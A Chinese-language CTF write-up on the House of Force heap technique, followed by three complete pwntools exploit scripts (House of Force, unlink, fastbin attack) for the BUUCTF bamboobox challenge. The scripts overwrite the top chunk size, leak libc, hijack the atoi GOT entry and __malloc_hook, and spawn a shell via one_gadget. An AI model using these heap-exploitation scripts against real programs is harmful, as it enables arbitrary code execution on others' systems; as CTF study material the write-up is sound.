House of force是一个堆的小利用技巧,要想利用它需要满足两个条件:
1、可以通过溢出修改 top chunk 的 size
2、分配堆的大小没有限制
通过把 top chunk 的size 改的很大,再malloc一个特定的size,使 top chunk 的位置 恰好在目标位置 -0x10 的位置上,再进行分配时,即可分配至目标地址。
那么我认为有一个需要计算的地方就是 malloc_size = target - top_chunk_addr - 0x20
下面拿一个例题来练习 House of force
BUUCTF hitcontraining_bamboobox
这里有三种方法可以写,注意的是用 house of force 只可以打本地,并且要在 /home/bamboobox 目录下放个 /flag,远程并没有这个目录,所以打不了
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./bamboobox') #s = remote('node4.buuoj.cn',26854) elf = ELF('./bamboobox') libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') magic = 0x400D49 def add(length,name): s.recvuntil('Your choice:') s.sendline(b'2') s.recvuntil(b'Please enter the length of item name:') s.sendline(str(length)) s.recvuntil(b'Please enter the name of item:') s.send(name) def edit(index,length,name): s.recvuntil('Your choice:') s.sendline(b'3') s.recvuntil(b'Please enter the index of item:') s.sendline(str(index)) s.recvuntil(b'Please enter the length of item name:') s.sendline(str(length)) s.recvuntil(b'Please enter the new name of the item:') s.send(name) def delete(index): s.recvuntil('Your choice:') s.sendline(b'4') s.recvuntil(b'Please enter the index of item:') s.sendline(str(index)) def show(): s.recvuntil('Your choice:') s.sendline(b'1') def exit(): s.recvuntil('Your choice:') s.sendline(b'5') add(0x20 ,b'aaaa') #0 payload = b'a'*0x20 + b'a'*0x8 + p64(0xffffffffffffffff) edit(0 ,0x30 ,payload) malloc_size = -0x40 -0x20 add(malloc_size ,b'bbbb') add(0x10 ,p64(magic)*2) exit() #gdb.attach(s) s.interactive()
第二种 unlink
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./bamboobox') #s = remote('node4.buuoj.cn',27420) elf = ELF('./bamboobox') libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') #libc = ELF('./libc-2.23.so') magic = 0x400D49 def add(length,name): s.recvuntil('Your choice:') s.sendline(b'2') s.recvuntil(b'Please enter the length of item name:') s.sendline(str(length)) s.recvuntil(b'Please enter the name of item:') s.send(name) def edit(index,length,name): s.recvuntil('Your choice:') s.sendline(b'3') s.recvuntil(b'Please enter the index of item:') s.sendline(str(index)) s.recvuntil(b'Please enter the length of item name:') s.sendline(str(length)) s.recvuntil(b'Please enter the new name of the item:') s.send(name) def delete(index): s.recvuntil('Your choice:') s.sendline(b'4') s.recvuntil(b'Please enter the index of item:') s.sendline(str(index)) def show(): s.recvuntil('Your choice:') s.sendline(b'1') add(0x10 ,b'aaaa') #0 add(0x10 ,b'bbbb') #1 add(0x60 ,b'cccc') #2 add(0x80 ,b'dddd') #3 add(0x80 ,b'eeee') #4 add(0x80 ,b'ffff') #5 payload = b'a'*0x10 + p64(0) +p64(0x91) edit(0,0x20,payload) delete(1) add(0x10 ,b'gggg') #1 show() libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 -0x10 -libc.sym['__malloc_hook'] system_addr = libc_base + libc.sym['system'] success('libc_base=>' + hex(libc_base)) add(0x60 ,b'hhhh') #6->2 fd = 0x6020c8 +0x30 - 0x18 bk = 0x6020c8 +0x30 - 0x10 payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) +p64(0x90) edit(3,0xa0,payload) delete(4) payload = p64(0) + p64(0) + p64(0) + p64(elf.got['atoi']) edit(3,0x20,payload) edit(3,0x8,p64(system_addr)) #gdb.attach(s) s.recvuntil(b'Your choice:') s.sendline(b'sh') s.interactive()
第三种 fastbin attack
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./bamboobox') libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') magic = 0x400D49 def add(length,name): s.recvuntil('Your choice:') s.sendline(b'2') s.recvuntil(b'Please enter the length of item name:') s.sendline(str(length)) s.recvuntil(b'Please enter the name of item:') s.send(name) def edit(index,length,name): s.recvuntil('Your choice:') s.sendline(b'3') s.recvuntil(b'Please enter the index of item:') s.sendline(str(index)) s.recvuntil(b'Please enter the length of item name:') s.sendline(str(length)) s.recvuntil(b'Please enter the new name of the item:') s.send(name) def delete(index): s.recvuntil('Your choice:') s.sendline(b'4') s.recvuntil(b'Please enter the index of item:') s.sendline(str(index)) def show(): s.recvuntil('Your choice:') s.sendline(b'1') add(0x10 ,b'aaaa') #0 add(0x10 ,b'bbbb') #1 add(0x60 ,b'cccc') #2 add(0x10 ,b'dddd') #3 payload = b'a'*0x10 + p64(0) +p64(0x91) edit(0 ,0x20 ,payload) delete(1) add(0x10 ,b'eeee') #1 show() libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['__malloc_hook'] - 0x10 -88 malloc_hook = libc_base + libc.sym['__malloc_hook'] realloc = libc_base + libc.sym['realloc'] onegadget = [0x45206,0x4525a,0xef9f4,0xf0897] one_gadget = libc_base + onegadget[1] success('libc_base=>' + hex(libc_base)) add(0x60 ,b'ffff') #4 delete(4) payload = b'a'*0x10 +p64(0) +p64(0x71) +p64(malloc_hook-0x23) +p64(0) edit(1 ,0x30 ,payload) add(0x60 ,b'gggg') #4 add(0x60 ,b'h'*0xb + p64(one_gadget) + p64(realloc)) s.recvuntil(b'Your choice:') s.sendline(b'2') #gdb.attach(s) s.sendline(str(0x10)) s.interactive() ''' 0x45206 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4525a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xef9f4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf0897 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''